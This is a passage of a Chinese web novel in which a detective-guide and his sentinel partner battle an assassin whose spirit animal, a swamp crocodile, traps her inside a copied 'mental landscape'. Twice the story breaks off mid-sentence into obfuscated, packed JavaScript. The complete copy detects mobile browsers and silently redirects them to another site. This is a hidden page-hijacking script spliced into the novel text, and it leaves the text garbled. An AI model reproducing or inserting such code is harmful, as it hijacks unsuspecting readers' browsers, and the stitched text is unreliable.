好在Papa已经找到,她可以回去了。 她不会说那种让Papa跟自己走的废话,作为一个继承了休伯特大叔和布列塔尼部长行事风范的女孩,她抬起手,准备干脆利落地给Papa一拳然后把人揍晕扛走。 狼看着Papa,Papa看着她。这个男人没有慌乱。 他的表情比起坐以待毙,更像是在等待别的什么……等待一个结果。 一阵坚硬鳞甲的摩擦声突然在这时响起。这次,狼的眼中一切如常,而莱蒂斯墨绿色的瞳孔中,有一只沼泽鳄不知从哪里凭空出现,顷刻间,她的整条小腿已被满口尖牙包围! 精神屏障的损伤仍在扩大,沼泽鳄的咬合却比断头的刑具更快。没有了那曾经坚不可摧的防御,它能轻而易举地将她的肢体从躯干上撕下。 72. 第七十一章 来不及了。 莱蒂斯的思维和身体同时意识到这一点:这只沼泽鳄出现得太突然了,她不可能躲开这次攻击。 被一只五米长的鳄鱼咬住会发生什么?这种事情并不值得花时间去思考。骨头被咬碎也好,血管被撕裂也罢,既然小腿的重伤无可避免,那不如以眼还眼把它干掉! 小姑娘绿色的瞳孔紧随鳄鱼的动向,眼中鲜明的攻击性竟比对方的竖瞳更加锐利。它咬合的速度固然没有给她逃离的机会,但她知道,只要它还想要撕下她的腿部肌肉,它就躲不开她的子弹。 鳄鱼咬住猎物后的下一步就是拖行和死亡翻滚,即使手持枪械,也鲜少有人能够在那样的天旋地转和剧烈疼痛中瞄准目标。 可是莱蒂斯能。 少女调转枪口的方向,手指扣在扳机。一滴汗水淌过她因高度专注而麻木的皮肤,她准备好迎接刺骨剜心的痛楚和一个一击毙命的角度。 “——!” 然而抢在疼痛之前到来的,是一种沐浴阳光般的温暖和一个无形却坚实的拥抱。黄金的光彩在莱蒂斯眼中闪耀,她零落的精神屏障在一瞬间内被无数细密而坚韧的金色丝线缝补、粘合,最后竟如同一道淬火冷凝后的钢铁,硬生生地挡下了那即将碾碎她腿骨的尖牙! “大叔!你在干什么?” 几分钟前,尼尔森急刹车停下脚步,藏身到一排老虎机背后。 那是一个捉迷藏的五岁小孩都不会选的鬼地方,罗亚利就不信他不知道这里根本躲不开一个哨兵的追击。但尼尔森却单膝跪地,伸手拢住了一团空气,动作认真得简直可笑。 “你刚喝的酒精把你脑子给泡了吗?”罗亚利咬牙切齿地压低声音,像只警惕的兔子四下张望,“我们好不容易才和那个杀手拉开距离,你跑到这里来干什么?他把你逮出去给你一枪的时候,这团空气会帮你挡枪吗?” “首先,他最想逮的是你,不是我。”尼尔森头也不抬,他嘴上废话一直没停,只是瞳孔镀上了一层漂亮的金色,“其次,那个哨兵也不需要把我们逮出去再开枪。私人雇佣的常任杀手们很专业的,要是他发现我们在这儿,完全可以隔着老虎机把我们爆头。” “……少废话,不管你是不是在故意吓唬我,我都不会在这里跟你耽误时间的。”罗亚利表情刻薄,纤瘦的身体却颤了一下,“赌场为了让客人尽可能久地留下,布局都很复杂,但我知道从这里逃去扑克区最快的路,我唯一担心的就是还有别的杀手在那边守株待兔……你走不走?” “放心吧小朋友,没有什么别的杀手了。”尼尔森一边回答一边安抚紧张的灰狼,“一个家族一般只会有一个常任杀手。他们养的是处刑人,又不是一窝柯基,这种又贵又危险还知道很多家族秘密的玩意雇那么多干什么,有一个够用就行了。” “别糊弄我了。我虽然不了解你们变异人,但这儿还有这么大群哨兵在发疯呢,那个哨兵杀手再厉害也做不到吧?肯定还有向导跟他一起来的!” “不是向导。具体是什么我还不知道,但这事儿不是向导干的。”尼尔森说,“而且你说得对,你不了解共感者,也不了解共感者的作战方式。罗亚利,我问你:如果杀手有两个或者更多,为什么现在只有哨兵本人在追着我们跑?” “或者,我换一个问法。罗亚利,你觉得为什么直到现在,那个哨兵都没有用他的精神动物来袭击我们?” 这是尼尔森一早就想明白了的事情,也是他敢冒险引出杀手真身的原因。 对方显然知道莱蒂斯是他们当中最不好对付的那个,因此先行引开了她。而正因为这位杀手只有孤身一人,又很有经验地判断出他本人根本牵制不住莱蒂斯,才会选择让他的精神动物去与莱蒂斯战斗,自己则亲自追杀目标。 没有精神动物袭击罗亚利——这就是答案。杀手分身乏术,但凡还有人能配合他拖住莱蒂斯,他的精神动物恐怕早就在监控盲区实体化,把尼尔森和罗亚利两个战五渣一口一个了。 虽然当时没有看清是什么,但在办公室带走Papa的,应该就是那个杀手的精神动物。它带着莱蒂斯消失在了密道尽头,因此,尼尔森现在才有了和杀手周旋的余地。 莱蒂斯果然如她所承诺的那样,即使不在他身边,也一直在保护着他。 可尼尔森尽管是个足够聪明的侦探,却也是一个十足糟糕的向导。他目睹了因珀瑞恩的安保们失去理智,又火上加油,亲自加速了客人们疯狂,但直到灰狼直白地表达出莱蒂斯的异常,他才猛地反应过来: 莱蒂斯也是一个哨兵。 整个HighLimit区的哨兵精神屏障都在瓦解,那莱蒂斯呢? 吧台燃烧的火焰和浓烟已经翻涌至半空,混乱的人群里,那个高瘦的杀手随时可能从任何角度接近。罗亚利说得对,跑才是最好的选择,跑才是活下去的希望。尼尔森想尽办法才争取到了一个跑的机会,但看着灰狼墨绿色的眼睛,他却不由自主地蹲下到它们身边。 万一她需要他呢? 尼尔森知道莱蒂斯很强,也很倔,连吃块巧克力都不愿意让他辅助,搞得他也不知道自己那居心叵测的关照到底有没有用处。她不会暴走,还战胜过一船的哨兵,对付一个杀手又能有什么问题呢?他自己的处境也很危险。他一停下脚步,生存的几率就开始跳楼一样下跌。 但是万一,哪怕只是万一,他的哨兵需要他呢? 失去她的危机感再次支配了他,他无法抗拒这个恐怖的可能性。他的动作罕见地快过了他的思考,驱使他伸手拥抱了灰狼。 “别急,没事的。”他认真地说,感到大型犬科喉咙中低吼隔着毛绒的皮毛在他手心颤动,“别担心,如果你们找不到她了,我来帮你们找她。” 精神触须像轻盈而绵长的金色丝线绵延展开,通过与精神动物的肢体接触,尼尔森开始探知莱蒂斯的现状。随即,他明白了灰狼们的状况——他没感知到莱蒂斯,却一头撞上了一堵怪异的墙。 那不是莱蒂斯的精神屏障,尼尔森非常清楚。自从一起逃离邮轮之后,他们的精神共鸣就越来越强,他的精神力早就能直接穿过莱蒂斯那比核避难所还厚实的屏障了。 现在切断莱蒂斯和灰狼之间联系的是别的东西,比起让莱蒂斯失去与灰狼共感的能力,更像是有人将莱蒂斯隔离到了另一个空间…… 啊,原来是这样。 尼尔森咧了咧嘴角,眼中却升起危险的戾气。 “罗亚利,我大衣左边的内衬里有个棕色的瓶子,拿出来,找个人多的地方,扔过去。” “你这家伙……”罗亚利可算发现自己的话这人是一句也没听进去,转头规划逃跑路线,“你不走我走了,我才不要在这里陪你等死。” “莱蒂斯那边遇上了点小麻烦,我得帮她。你要是认为靠自己生存几率更大,那就自己跑吧。但我觉得要是莱蒂斯出事了,我们俩都得完蛋,你觉得呢?”尼尔森终于抽空瞥了他一眼,脸上的笑意似是而非 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不管拦在他和莱蒂斯之间的是什么,尼尔森都会让这家伙知道,他和他家哨兵的灵魂共鸣能够击穿任何东西。 “……可恶。” 罗亚利一边碎碎念着,一边把拇指大小的棕色玻璃瓶扔进了人群里。他似乎是瞥见了那杀手高瘦的身影在向这边靠近,但下一秒又丢失了对方的踪迹。 乱作一团的大厅里,很快就有人一不小心踩碎了玻璃瓶,一种令人恶心的酸臭味瞬间炸开,有两个暴走的哨兵直接跪在地上吐了。 玻璃瓶碎掉的位置离这排老虎机有一定距离,罗亚利希望杀手会被吸引去那个方向。但冥冥之中,他知道事情不会这么顺利。 我们身上没有供杀手追踪的特殊味道…… 不,我们身上有。我的身上有那种味道。 当尼尔森提到这一点时,有一滴冷汗顺着男孩暴露的锁骨划过。他想起自己随身携带的一件东西,那上面有着几乎不会在赌场中出现的气味。 他口袋里的那条脚链上,有□□的味道。 是他疏忽了,现在清理也来不及了。可他绝不能把那条脚链丢掉。 应该没关系的。他把它藏得那么深,和一堆钞票一起塞在口袋最里面,那个杀手真的会注意到它吗?这里这么大,又这么乱,还有那个什么什么氨溶液,隔这么远都难闻得他的喉咙一直在抽动,谁会闻到那点*液的气味? 然而男孩还是下意识地悄悄探出身去。他既希望杀手永远不要出现在自己的视线里,又病态地坚信着自己悲观的猜想一定会应验。那家伙果然还是过来了,他看见了一个很高的人影,尽管转瞬又因为角度而被其他人挡住了。他会直接去玻璃瓶碎掉的位置吧,但万一他已经看见自己躲在这里了呢?该死的……! 罗亚利再也受不了了。他缩回身子,拉过尼尔森的外套,手伸进内衬。这个做了侦探的向导似乎正专注于精神层面的战斗,没办法再给罗亚利更多帮助,他只能寄希望于这个大叔的口袋里还有什么能救命的小玩意。 “嗡……” 可不巧的是,大叔的手机偏偏在这个时候震动了两下。草木皆兵的罗亚利赶紧把它拿出来摁掉响铃,却发现手机新收到了一条短信。 那个和他只有一面之缘的警员唐娜.舒芙特发来了消息: “女警和高级警司死了。” 73. 第七十二章 “哈啊……” 手机无声地滑落到尼尔森风衣的衣摆,罗亚利抬手,牢牢捂住自己的嘴。 红发的男孩发着抖,汗水浸湿的短上衣和丝袜紧贴着他的皮肤,几乎要将他绞死。 他觉得自己有点喘不过气,觉得自己没有在呼吸,可直到发现自己露出的那节小腹一直在垂死挣扎般上下起伏,他才意识到耳边的噪音其实就是自己粗重的喘息。 “哈啊……哈啊……” 死…… 他们死了?就在刚刚? 他感到世界在变得模糊,只有喉咙里的感觉非常鲜明。那是一种混合着尖叫和呕吐的冲动,像一只粗长的肉虫顺着他的咽喉向外爬行。 他并不是在乎这两条人命。可这个消息像是某种不详的预兆,让脚链带来的危机感如同吊钟的巨响回荡在罗亚利脑海。 他对待死亡远没有他表现得那么从容,这个十四岁的孩子只是以为自己暂时逃离了它的阴霾。但死从没离去,死如影随形。它如此具像化地再次降临他身边,让他又想起看见艾兰尸体的那个瞬间。 他再次意识到,他们两个的生命都是如此的脆弱和廉价,像一把用手指就能碾碎的彩色亮片。 “呜……” 罗亚利哽咽一声,装着脚链的外套口袋重若千斤。 旁边的尼尔森冷不丁地开口:“怎么了?” 该死的情绪感知……罗亚利不敢说脚链的问题,只告诉了尼尔森短信的内容,没想到侦探连看都不看一眼,抛回来一句:“哎哟,看来是唐娜判断失误了。” 罗亚利挤出颤抖的声音:“说什么风凉话啊你这个混蛋大叔,那可是高级警司。他们既然能杀了警司,杀我……杀我们根本就是易如反掌。” 警司和女警对罗亚利来说是比他强大得多的存在,他像是看到两只猛兽被杀死在自己面前的兔子,吓得不知所措了。 “那就别让他们那么轻易得手。”尼尔森轻描淡写地回答,把警司的死亡当成一个弹窗推送来的小新闻。 罗亚利永远不知道这个大叔为什么在这种可怕的危机中淡定得像散步:“那个杀手一直在靠近,他会找到我们的!你倒是想点办法啊!” “怪不得你翻我风衣。我忙着呢,你看见他了?” “我……”罗亚利咬牙,准备糊弄过去,“对,我看见了!” “想撒谎的话,情绪波动别太大,”侦探无情点破,随意的语气让罗亚利感觉到了一种侮辱。他说:“罗亚利,如果你真的看见了杀手,你的情绪浮动巅峰就不会是在看见短信的时候。” “你真的是在害怕警司的死讯吗?他们离我们十万八千里,你应该想得明白,他们的生死和我们现在的危机无关——你害怕的根本原因,是你坚信那个杀手能找到我们。为什么?” “……因为他很厉害……!明明是你之前告诉我,一个家族的常任杀手比普通的杀手更擅长杀人……” “原来是我吓到你了啊,那真抱歉。”尼尔森漫不经心地说,“好了,我道歉了,你有好受一点吗?” “……” 他的模样实在欠揍,罗亚利却听出了他的潜台词:如果你不愿意告诉你到底在怕什么,我是不会管你的。 混账大叔…… 罗亚利咬住自己手掌的肉,用疼痛强迫自己冷静。 不,他和艾兰是不同的。他不要像那个笨蛋一样轻易地死去。 哭和害怕什么也改变不了……他向来明白这个道理。 男孩看向自己的口袋。不断有人影从地面晃过,他似乎又瞥见那杀手瘦长的影子正在接近。 他知道药物的味道拦不住杀手。那家伙会来的。 他不想死,但也不能丢掉脚链。 但是……那家伙是冲着脚链上的''气味''过来的,不是吗? 男孩突然身体一颤,他背过身去,抖着手掏出那几张和脚链放在一起的大额纸钞,用力擦拭过脚链表面,然后揉成一团,对准一个矮个子的服务生扔了出去。 如他所料,即使在一片混乱中,金钱的诱惑依然让服务生捡起了纸钞。 “哈……” 罗亚利长长地呼出一口气,跌坐回老虎机背后,看着服务生跑去了另一个区域。 会起效吗……?他想,拜托了,一定要起效啊。哪怕只是拖延时间,也至少拖到莱蒂斯小姐那边的困境被解决为止吧。 罗亚利全神贯注地祈祷,没注意到他身后双金色眼睛无声地转动了方向。 一直忙着辅助莱蒂斯的尼尔森移动视线,看着他塞回口袋的脚链,微微眯了眯眼。 酒店套房里,莱蒂斯跃过倒地的哨兵,试图闪开沼泽鳄的伏击。 尼尔森修复的屏障挡下了它的偷袭,但它也在莱蒂斯开枪前沉降进地面。从此之后,家具繁多的豪华套房成了它栖息的沼泽,它从任何角度忽然浮现,然后朝莱蒂斯扑来。 要躲开它并不容易。鳄鱼突袭时瞬间的提速能力远超人类,莱蒂斯才刚落地,沼泽鳄又从另一侧袭来。 他到来的速度比她想得更快,少女躲闪不及,被它粗重的尾部扫到,摔出几米。所幸敏锐的五感为她指明方向,她在沼泽鳄再次袭击时开枪,打断了它前进的路径。 不到两分钟,她的身体上已经多了很多淤青。 精神屏障不是一劳永逸的。在莱蒂斯和沼泽鳄缠斗时,Pap想趁乱寻找武器,莱蒂斯分神打爆了离他最近的那把左轮作为警告,却被鳄鱼抓住机会咬住小腿,接连往大理石制的茶几和电视柜上砸了好几次。 钝痛像晕染的墨水一样弥散,鳄鱼即使无法击穿她的精神屏障,也有办法对她造成伤害。 为了应对鳄鱼,莱蒂斯不得不在灰狼和自己的视野中切换不停视角,但也就是在这步步紧逼的攻击中,两者的对比开始变得明显。 尤其是当她跳过地上的那两个哨兵时,她发现那只沼泽鳄是直接‘穿过’他们向自己扑来的,她就是因此才出现了判断失误。 这不应该。灰狼的眼睛告诉她,哨兵们都是真真实实倒在地上的实体。她受了认知误导,没办法识别出他们的存在,但如果她踩到了他们,她还是会被绊倒。同理,鳄鱼应该也会撞上他们才对。 看着自己视角中的整洁套房和灰狼眼中狼藉一片的战场,莱蒂斯脑中模糊而古怪的念头越来越清晰。 从沼泽鳄出现开始,她就觉得奇怪。 为什么看见鳄鱼的是她,而不是灰狼? 灰狼‘看见’才是真相,它看见了套房里暴走的哨兵、被砸的家具,还有步入式冰箱里的Papa。 而自己‘看见’的套房干净得像是样板间,唯二活动的生物只有她和沼泽鳄,一看就是虚假的幻觉。除非沼泽鳄是真的在这样的一个‘空间’里行动,才不会被哨兵挡住…… 啊…… 是啊。 莱蒂斯的眼睛亮了一瞬,像是找到复活节彩蛋的小姑娘,又像是发现猎物的狼。 是''空间''。 她又想起想起寂静走廊,走廊尽头被拖行的Papa,还有Papa办公室的密道。那时她跟尼尔森和罗亚利在对话,但她对密道的‘感知’出现了异常,所以她判断,自己的认知受到了误导。 但如果这不是认知误导呢? 精神动物是共感者的另一个自己,另一双眼睛。她相信灰狼所见的即是真实,从而否定了自己看见的一切,可是……如果混乱的套房和干净的套房都是真实存在的‘空间’呢? 之前Papa凭空从她面前消失,看见Papa被拖进密道的反而是尼尔森和罗亚利。如果对方真的能做到认知误导,为什么不干脆骗过另外两人? 又或者,那时她的感官一无所获,其实是因为她当时‘感知’到的不是现实中的密道,而是另一个和密道一模一样的空间? 沼泽鳄再次袭来。它的背部长满了青苔,沉入水里时,就像沼泽中无害的浮萍。 这种善于隐藏自己的狡猾生物能够伪装成环境的一部分,从而迷惑猎物。 而从地面起身的莱蒂斯没有再躲闪,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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给他药的人说这种药物能增幅哨兵的感官,副作用是哨兵会因为感官的突然提升而接收过多信息。这种信息流会冲垮屏障导致暴走,同时共感系统过载,无法召唤精神动物。 杀手本身评级有A,也进行过信息流的耐受训练,目前还没被副作用影响。但他需要速战速决。 他老觉得那个小姑娘已经发现了什么。 他的精神图景是最适合暗杀的,这也是为什么他会被聘为那家人的常任杀手。作为鳄鱼融入环境的具像化,他那特殊的精神图景能够生成一个和目标所处环境完全相同的无人空间,伪装成现实的一部分,覆盖目标对现实的感知。如果目标的精神动物离他太远,图景还能隔断其与精神动物的共感。 当那个女孩的身体行走在走廊上时,她的精神其实正走在杀手伪装成走廊的图景里。 只是因为现实和图景几乎一模一样,她才没有发觉自己的精神和身体实际上是在两个不同空间里同步行动的。 杀手甚至还能控制图景的覆盖范围。为了把那女孩引入客房区深处,他的图景没有覆盖走廊拐角。那里只有“现实”,所以当现实中的Papa被鳄鱼拖过拐角时,那女孩也能看见,从而追着他去往那间套房。 以往的暗杀要更加简单,当目标被四下无人的精神图景欺骗,杀手就会直接出现在他身后,干脆地取走性命。只是这次他分身乏术,才不得不利用套房里的暴走哨兵来替自己干掉她。 他不知道那女孩为什么能够看穿这个陷阱,他本来也根本没想用沼泽鳄来对付她。 鳄鱼在图景中的活动可能暴露出破绽,他不希望对方借机发现真相,但她居然干掉了所有哨兵,还找到了Papa……他只能出动精神动物,利用图景对能力的增幅把她干掉。 杀手一边驱使沼泽鳄继续在精神图景里追击那个危险的女孩,一边思考着赌场里的局面。 这边的情况也发生了变化,他的嗅觉告诉他,携带*液味道的目标有两个,处于不同的区域。 空气里那恶臭的药物真的熏得他想吐,但他还是判断出一个目标正在移动,而另一个留在原地。 他要找的那个男孩,是正在逃命,还是正躲在一个角落,怕得动弹不得? 没关系,他会知道的。 74. 第七十三章 她的星空 高瘦的男人伏下身体,装作被撞到的客人倒在地上。他的耳朵贴住地面,将听力集中在奔跑的那人身上。 A级哨兵的听觉拨开客人混乱的脚步,一分钟后,他捕捉到目标的声音,那是皮鞋踩在大理石地板的声响,不是那孩子穿的厚底靴。 多简单啊。 那孩子的小聪明没有任何作用,最多只能拖上一分钟的时间。 男人不再躲藏。他站直身体,如同一座高大的信号塔直立在人群里,然后将枪藏在手心,直接朝老虎机后面那深陷恐惧的男孩冲去。 “砰!” 就在此时,一颗子弹从他旁边飞过,男人有些惊讶地睁大眼睛。 发射这颗子弹的枪法之糟糕,他根本不需要躲。他只是惊讶对方居然会主动攻击他。 男人低头,对上老虎机背后一双紫色的眼睛。那其中盈着惊恐的泪水,但又坚定如水晶。 意识到自己没能骗过杀手的罗亚利双手举枪,死死咬着下唇,在进行他最后的挣扎。 愚昧的勇气。 有好几个暴走的哨兵被这一声枪响吸引了注意力,转向这边,男人也转动手里的枪支,对准这主动离开掩体的愚蠢男孩开枪。 这简直是送上门来的机会,正好够他装作是一个被噪声刺激的哨兵,取男孩性命。 “你干什么罗亚利,回来!” 但这两发子弹都没有击中目标。有一只穿着风衣的手从老虎机背后把男孩拽了回去,老练地躲开子弹。 是那个和男孩一起的向导?可他不是还忙着辅助那个女孩作战吗?怎么突然—— 意识到不对的杀手向前冲去,下一秒,他脚下的地毯忽然变成了大理石。 四周的空间骤然变得狭窄,杀手抬头,看见自己正站在一间无人的酒店套房里。 他竟然突然回到了他的精神图景。 “……” 赌场的嘈杂变为图景里的死寂。沼泽鳄不在这里,那个女孩也不在。杀手试图让自己的精神重新连接回现实,却发现自己无法离开自己的精神图景。 为什么? 杀手没有轻举妄动。他环顾四周,发现合拢在窗户前的窗帘边沿,似乎有什么光线在闪烁。 杀手皱眉,有什么人躲在那里?是那个女孩吗? 高大的杀手持枪靠近,如同都市传说中瘦长的鬼影。他猛地拉开窗帘,可那背后不是一个躲藏的人,也不是图景模拟出的赌场风景—— 那是一只隔着窗户注视他的,绿色的眼睛。 它是如此巨大,以至于整个窗户都容纳不下它的存在,无尽的翠绿火焰燃烧在它绮丽的表面,形成仿佛有生命般的扭曲纹路,随着球体的运动优雅地旋转。 杀手的腿一瞬间软了,本能压倒了他所有的专业素养和麻木情感。那球体碾压过他的视野和大脑,他卓越的感官混乱起来—— 他忽然分不清这到底是少女的眼睛,还是一颗伟大的恒星。 “嗡————” 而天空在这时传来遥远的嗡鸣,他狭窄的图景忽然变成了一个大得令人恐惧的世界。一片无垠的原野在这本来位于十层房间外铺陈开来,夏风呼啸,杀手感到自己的图景的屋顶正在被消抹,迎来笼罩万物的灿烂星空。 那是无穷无尽的星辰,璀璨得近乎梦幻,但杀手只感觉到头晕目眩的冲击—— 他感到所有星星都向自己投来了视线。 他忽然分不清这究竟是满天的繁星,还是无数只在夜幕里直视着他的,绿色的眼睛。 ……! 他当机立断,掏出一个小瓶一饮而尽。比烈酒更加灼人的刺痛像刀片划过他喉咙,他身体痉挛了两下,掐着自己的喉咙跪地干呕起来。 那里面是造成哨兵暴走的药物。它正确的用法是挥发成气体扩散,而不是直接饮用。这样的剂量下,他也没办法维持理智。 但杀手顾不得那么多了,他必须马上离开这里。他不要命地扩大感知,终于在药物的强化作用下找回自己精神图景的控制权,回到现实。 星空消失了。他双眼发红,跪在赌场的地面,面前是一滩自己呕出的血。 嘈杂的人声,纷乱的气味和四处奔走的人像烈火灼烧着他的感官,每一次呼吸都像是划开自己腹部的凌迟。 过载边沿的感官几乎要迸射出火花,他召唤不出他的沼泽鳄了。 杀手的眼球剧烈颤动,像是两颗将要落地而碎的弹珠,但他还是勉力用它们聚焦,找到了那个男孩和向导。 他自知自己没办法再牵制莱蒂斯了,所以他必须要趁对方赶到之前,趁自己和那些哨兵一样暴走之前,干掉他的目标。 在这之后,要暴走就暴走吧。多杀几个人,男孩的死亡就也会被当成一起哨兵暴走的意外,无人怀疑了。 利用增幅的感官和战斗力,本就是A级的高大哨兵摔开挡路的路人冲去,正如冲出沼泽的鳄鱼向目标露出獠牙。 “你还挺勇敢的啊小朋友,贴脸跟杀手对射你怎么想的?” 不远处,尼尔森提着罗亚利的衣领狂奔。小孩刚被迎面而来的杀手吓得腿有点软,还没恢复过来。 “我没别的办法了,”罗亚利刚掉完眼泪,哑着嗓子,“都怪你太菜了什么忙都帮不上,我又只拖住了他一分钟。反正我都逃不掉,不如跟他拼了,说不定拼着拼着,莱蒂斯小姐就来了……!” “要说多少遍我在忙着帮莱蒂斯。那家伙把莱蒂斯困在他精神图景里了,还好我的精神触须能穿过去给莱蒂斯辅助。好啦,多亏你那一分钟,莱蒂斯正好在他得手之前成功突破他的图景了。” 尼尔森带着超绝松弛感表扬道。他看向身侧:“而且她确实在往这边来了,对吧?” 跑在他两边的狼狼们对他点点头,它们重新恢复了和莱蒂斯之间的连接。 “可你们到底干了什么!”罗亚利跌跌撞撞地被尼尔森拎着,在他们身后不断有枪声响起,高瘦的杀手正像只发狂的豹子一样冲来,“他刚刚为什么突然不动了?又为什么突然变成了这个样子?” “磕药了吧,我感觉他离暴走不远了。”尼尔森推了下平光镜,“至于刚才,他大概是被莱蒂斯反向拉到她的图景里去了……哎哟——” 有颗子弹以刁钻的角度袭来,尼尔森抓着小孩往牌桌背后一扑躲过了。他其实很好奇也为啥这哥们当时反应那么应激。他浑身散发的惊惧给尼尔森都看愣了,莱蒂斯那图景漂亮又静谧,比他最好的梦境还像个梦境,到底是怎么把他给吓成这样的。 “可恶……”罗亚利迅速爬起,“他追过来了!” 尼尔森回过头,看见杀手像是某种巨大的节肢动物一样轻易掀翻了拦路的牌桌。他赶紧连滚带爬拽着罗亚利开溜, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13356964|140785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在灰狼的指挥下尽量和对方拉开距离。 可罗亚利每一次回头,都看见双眼通红的杀手离他们更近。 “大叔,你不是也有枪吗?还击啊!” “呼……我枪法跟你半斤八两,你一个人去送就够了,我敬谢不敏!”尼尔森说,他携带的道具基本都不是用于和哨兵正面交锋的,现在最好的办法就是坚持到莱蒂斯来了再说。 说起来这杀手追得也真是有够紧,还好这家伙没有再用精神图景把自己给困住,不然就剩罗亚利一个普通孩子,还真的—— “……哈。” 尼尔森的金瞳忽然明亮了一瞬,像是宝藏中的诅咒在呼唤中苏醒。 对啊,这个杀手为什么没有把精神图景用在他身上? 莱蒂斯已经突破了杀手的图景,他也没有再拖住莱蒂斯的意思,所以应该没有再对莱蒂斯使用精神图景了。 他明明懂得把人拆开逐个击破的原理,为什么不干脆把尼尔森这个共感者拉进他的精神图景里困住,先杀了罗亚利这个普通小孩? “啊……哈哈……” 原来是这样。 尼尔森发出两声轻笑。他突然停下了脚步。 “大叔?”罗亚利回头,看见那杀手与尼尔森之间只隔了一个路人,“大叔,你在——?!” “喂,”尼尔森回身,风衣的衣摆划出一个潇洒的弧度。他抬起头,大声问那个杀手:“你为什么不把我拉进你的精神图景里?” “砰!” 目眦尽裂的杀手一枪打爆拦路人的头,滚烫的血液溅在他和尼尔森的脸上,有一滴正好落在尼尔森咧开的嘴角。 “不是吧,真的假的……哈哈……我只不过是跟着我家哨兵多管了一桩闲事而已,难道真的有这么巧吗…?哈哈……哈哈哈哈!” 路人脑洞大开的尸体倒在地上,尼尔森却乐不可支地颤抖起来。他自顾自地大笑着,笑声穿过赌场中的尖叫和哭喊,在他放的火上盘旋。 罗亚利看呆了,他甚至忘记了逃跑。 他察言观色的本领告诉他,尼尔森很开心。 这大叔不是绝望了或者吓疯了,他是发自内心的,真心实意地开心。 而杀手的枪支已经高举,枪口正对尼尔森眉心。 “哈哈哈,真的吗?我的运气真的这么好?”尼尔森直视着那枪口,金瞳里跃动着瘆人的喜悦和兴奋: “喂,你——你不会知道我是谁吧?” “你是‘不敢’把我拉近你的精神图景里,对不对?你知道我是谁,你从一开始就知道我不止是一个用不出能力的废物向导,所以根本没想过用精神图景来对付我……哈哈哈哈哈,原来如此,你知道我——” “你知道我就是‘那个’尼尔森.莱顿!” 伴随着他念出自己的名字,赌场的灯光骤然暗淡。 尼尔森愉快地笑着,一手懒散地插在兜里,一手指向自己的头顶。 那颗子弹终究是没有打出。杀手的眼球抽动了两下,还是像是趋光的昆虫一样不由自主地转向了赌场的高空—— 在那里,有一只长达百米的离翼水母高高漂浮。 此刻,这片区域所有人都停止了活动,他们以同样的弧度驻足仰望着它,那诡异而灿烂的金光穿过视神经刺入每个人的脑海,如同一道次元的裂缝,投下来自深渊的光辉。 75. 第七十四章 尼尔森.莱顿,Neilson.Layton,一个平平无奇的名字。他的姓氏原指草场,而名字来自古爱尔兰语中英雄(Neil)之子(son),比起对儿子的期盼,更像是他爹的自夸。 全世界有不计其数的尼尔森.莱顿,他们也许是教师,医生,服务员或者孵化场的小鸡性别鉴定师。如果圣卢赛特有一个叫做尼尔森.莱顿的私家侦探恰好被卷入了一个孩子的死亡,那也没什么好奇怪的。 但全世界只有一个尼尔森.莱顿能够认知误导。那个男人没有成为英雄,而是做了罪犯,他肆意妄为了太久,又自不量力去刺杀首席,然后受了罚。从那一刻开始,他的简历上除了自己干的坏事,还写满了塔干的坏事。 未经司法审判的秘密定罪,监狱岛的苦役和人体实验,谋划着什么的首席和换来自由的交易——他的过去八年就是‘塔’实打实的黑历史。 所以尼尔森.莱顿的个人资料,犯罪记录和能力所受的限制,全部都是‘塔’最高级别的机密文件。 这世界上,只有和‘塔’有关的人,才会知道他是谁。 只有和‘塔’有关的人,才会如此提防他这么一个乏善可陈的向导,才会知道一旦将他拉进精神图景,他将彻底掌握对方的大脑。 “终于啊……哈哈……哈哈哈哈……!” 尼尔森站在静止的人群里,单手捂在脸上,笑得难以自持。他可真是太久没遇上过这种好运气了。那久违的,恶劣的兴奋感在他心中鼓动,侦探金色的眼睛穿过指缝,看着眼前定格的杀手。 他一直想挖出塔到底在做些什么,从而解除这该死的能力封印,而现在他面前就站了个和‘塔’脱不开关系的家伙,身上还携带了能够引发哨兵奇怪暴走的药物—— 他终于遇上了值得他用认知误导的对象。 这下可给尼尔森乐坏了。天知道他多么怀念利用认知误导为所欲为的好时光。他实在是蛰伏了太久,压抑了太久,而今命运将机会亲手送到了他跟前。就像一个瘫痪已久的人终于能够起身奔跑一样,他也终于触碰到了‘自由’飘逸的衣摆。 “哈哈……好了,先生,我们来聊聊吧!” 棕发的向导擦掉笑出的眼泪,打了个响指,静止的客人们应声而动,持枪打碎了高处的摄像头和杀手的四肢。他们带着错误的认知恢复了先前的活动,眼中却都带着同样灿烂的金色,像是被高处金丝线一样的水母操控的人偶。 “砰。” 而身体重伤的杀手重重栽倒在尼尔森脚边,鲜血溅满地面。 绰绰人影从他和尼尔森身边路过,像是群演默契地绕开故事的主角。整个赌场热闹又诡异,可这哨兵匍匐在地,拖着瘫软的四肢,没有叫喊,没有反击,只是依然仰着头盯着天上。 离翼水母的微光映在他茫然的眼睛里,他看见海洋深处的冷寂和黑暗从高处坠落。作为被盯上的那个猎物,他感到自己被深海的高压淹没,他的眼球,他的内脏还有他的大脑都被碾成了一滩粘稠的液体。 它们淌出他的七窍,裹挟着他被抽离出身体的灵魂,卷入冰冷的洋流。 原来他的精神图景长这样。 尼尔森插着兜站在杀手的精神里,懒洋洋地四下打量。 剥去所有的伪装,这图景本质上是一个破烂的土胚房。房间里只有简单的桌椅和空荡荡的盘子,炽热的高温烘烤着这里,几乎叫人皮肤开裂。在一扇没有玻璃的窗户外,刺眼的阳光普照着一条干旱的河流,河床上遍布皲裂的痕迹,如同大地的疮疤。 